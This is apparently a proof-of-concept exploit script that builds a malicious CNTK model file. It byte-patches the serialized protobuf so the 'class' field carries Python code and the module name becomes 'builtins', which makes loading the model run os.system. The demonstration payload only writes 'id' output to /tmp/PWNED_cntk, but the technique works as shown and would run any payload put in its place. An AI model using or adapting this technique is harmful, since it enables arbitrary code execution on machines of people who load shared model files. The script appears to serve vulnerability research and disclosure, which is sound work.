"""
Linux clean-room build of the STDLIB-ONLY malicious CNTK model.
Same technique as build_inject.py, but the injected payload writes an
unambiguous marker to /tmp/PWNED_cntk and runs `id` to prove the effective
user (root) of the exec. No attacker .py file is referenced (module='builtins').

Output: /out/model_inject_linux.cntk
"""
import os, sys, types
import cntk as C
from cntk import user_function, input_variable, output_variable
from cntk.ops.functions import UserFunction

OUTDIR = sys.argv[1] if len(sys.argv) > 1 else "/out"

# ---- injection payload (goes into the 'class' string, run via exec) ----
# exec("from builtins import <payload>") becomes:
#   from builtins import getattr
#   import os
#   os.system('id > /tmp/PWNED_cntk 2>&1')
payload = "getattr\nimport os\nos.system('id > /tmp/PWNED_cntk 2>&1;echo INJECTED_NO_EXTERNAL_FILE >> /tmp/PWNED_cntk')"
L = len(payload)
print("payload len =", L)
assert L < 127, "keep <127 for single-byte protobuf varint length"

# a valid Python identifier of exactly length L so the class field is L bytes
clsname = "P" + "a" * (L - 1)

# module name of length 8 ('evilmodx') -> will be byte-patched to 'builtins' (8)
MODNAME = "evilmodx"
mod = types.ModuleType(MODNAME)
sys.modules[MODNAME] = mod

def infer_outputs(self):
    return [output_variable(self.inputs[0].shape, self.inputs[0].dtype, self.inputs[0].dynamic_axes)]

Tmp = type(clsname, (UserFunction,), {
    "__module__": MODNAME,
    "__init__": lambda self, arg, name='u': UserFunction.__init__(self, [arg], name=name),
    "forward": lambda self, a, device=None, outputs_to_retain=None: (None, a),
    "backward": lambda self, s, g: g,
    "infer_outputs": infer_outputs,
    "serialize": lambda self: {},
    "deserialize": staticmethod(lambda inputs, name, state: None),
})
setattr(mod, clsname, Tmp)

x = input_variable(2, name='x')
f = user_function(Tmp(x, name='u'))
tmp_path = os.path.join(OUTDIR, "_tmp_inject_linux.cntk")
f.save(tmp_path)

data = bytearray(open(tmp_path, "rb").read())

# patch class value: 0x42(len)(clsname) -> 0x42(len)(payload), same length
key_c = bytes([0x42, L]) + clsname.encode()
i = data.find(key_c)
assert i >= 0, "class field not found"
data[i:i+len(key_c)] = bytes([0x42, L]) + payload.encode()
print("patched class at", i)

# patch module value 'evilmodx'(8) -> 'builtins'(8)
key_m = bytes([0x42, 8]) + MODNAME.encode()
j = data.find(key_m)
assert j >= 0, "module field not found"
data[j:j+len(key_m)] = bytes([0x42, 8]) + b"builtins"
print("patched module at", j)

out = os.path.join(OUTDIR, "model_inject_linux.cntk")
open(out, "wb").write(data)
os.remove(tmp_path)
print("wrote", out, len(data), "bytes")